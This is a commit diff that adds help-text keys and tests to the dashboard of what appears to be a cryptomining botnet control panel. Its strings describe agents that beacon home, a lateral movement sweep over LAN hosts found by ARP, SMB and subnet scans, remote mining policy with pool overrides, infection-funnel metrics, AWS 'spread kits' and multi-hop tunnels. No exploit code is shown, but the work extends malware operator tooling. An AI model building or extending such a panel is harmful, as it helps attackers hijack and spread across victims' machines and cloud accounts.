Fix Vitest suite and wire cloud/AWS dashboard API helpers.

Adds missing client methods, VPC seeder badges, hospice strain UI, and uiHelp drift keys so server/web builds and all 849 Vitest tests pass.

server/web/src/help/settingHelp.test.ts

@@ -147,6 +147,7 @@ describe('FIELD_HELP', () => {
     'forge_deliverable',
     'forge_operation_mode',
     'forge_path_forge',
+    'aws_erasure_swarm',
   ] as const;
 
   it('defines help text for every documented field key', () => {

server/web/src/help/settingHelp.ts

@@ -198,4 +198,6 @@ export const FIELD_HELP: Record<string, string> = {
     'Minutes without a live WebSocket before the agent switches to HTTPS beacon polling. Default 3.',
   webhook_url:
     'Optional operator webhook (T1071.005 lite). Calibrate POSTs JSON {event, title, message} on fleet events. Complements Telegram — not an agent transport channel.',
+  aws_erasure_swarm:
+    'S3 + CloudFront erasure swarm: deploy plans upload RS 4+2 shards when AF_AWS_* and AF_CLOUDFRONT_* env creds are set. Test connection runs S3 HeadBucket locally; IAM/bucket policy JSON is generated for your operator AWS account — the server does not provision resources.',
 };

server/web/src/help/uiHelp.test.ts

@@ -34,6 +34,7 @@ describe('UI_HELP', () => {
     'crucible_pause',
     'crucible_full_audit',
     'crucible_posture_badge',
+    'crucible_vpc_seeder',
     'crucible_master_terminal',
     'crucible_section_agent',
     'crucible_section_system',
@@ -64,6 +65,7 @@ describe('UI_HELP', () => {
     'fm_encrypt_path',
     'pt_path_tracer',
     'pt_agent_chain',
+    'pt_onion_timeline',
     'pt_subnet_autopsy',
     'fleet_runtime_policy',
     'fleet_runtime_modules',
@@ -94,6 +96,8 @@ describe('UI_HELP', () => {
     'ew_war_room_stats_table',
     'ew_war_room_constellations',
     'ew_war_room_leak',
+    'ew_cloud_aws',
+    'ew_cloud_generic',
     'crucible_btn_spread_now',
     'crucible_btn_subnet_scan',
     'crucible_btn_hole_punch',

server/web/src/help/uiHelp.ts

@@ -63,6 +63,8 @@ export const UI_HELP: Record<string, string> = {
     'Deep posture scan (30–60s): firewall, WAN IP, geo, DNS, ARP, subnet scan, hardware, and listeners.',
   crucible_posture_badge:
     'Quick security summary from the last heartbeat: AV, firewall, SSH, elevation, and patch state.',
+  crucible_vpc_seeder:
+    'AWS EC2 agents report vpc-id from IMDS. Fleet Torrent elects one VPC seeder per vpc-id; badge shows VPC seeder (primary) or VPC leecher (secondary seeder in same VPC).',
   crucible_master_terminal:
     'Command output and errors from bulk ops stream here. Green lines succeeded; red lines failed.',
   crucible_section_agent:
@@ -128,6 +130,8 @@ export const UI_HELP: Record<string, string> = {
     'On-demand multi-hop WireGuard VPN through up to 3 Windows agents. Scan the QR or import the .conf on your phone.',
   pt_agent_chain:
     'Pick agents in order — traffic hops through each node. Windows only; max 3 hops. Click TRACE to orchestrate tunnels.',
+  pt_onion_timeline:
+    'Fork-merge onion timeline for Path Tracer chains — ghost branches per hop, merge winning strains, and skip hospice-retired spread lanes when picking merge parents.',
 
   fleet_runtime_policy:
     'Push live mining policy (schedule, CPU cap, optional pool override) to online agents without re-forging.',
@@ -192,6 +196,10 @@ export const UI_HELP: Record<string, string> = {
     'Force-directed map: node size = hits, brightness = online agents, color = conversion %, edges = shared pin/build. Click a star to highlight its funnel card below.',
   ew_war_room_leak:
     'Automated funnel leak hints when a stage drops sharply (e.g. downloads but no beacons). LEAK = critical drop; Drip = minor — follow the suggested action on each card.',
+  ew_cloud_aws:
+    'AWS spread kits: S3+CloudFront erasure shards, SSM documents, Launch Templates, Fargate burst, EventBridge fan-out, and Cloud Map snippets. Connection test is HTTP reachability only — operator applies templates in their AWS account.',
+  ew_cloud_generic:
+    'Vendor-neutral cloud kits: MinIO S3-compatible staging and curl-manifest shard lists. Point bucket/endpoint fields at your operator-owned origin.',
 
   crucible_btn_spread_now:
     'Triggers the lateral movement sweep immediately on selected nodes — tries discovered LAN IPs from ARP, SMB, and subnet scan results. Requires Remote Aggressive Ops capability; a prior subnet scan or ARP run gives it more targets.',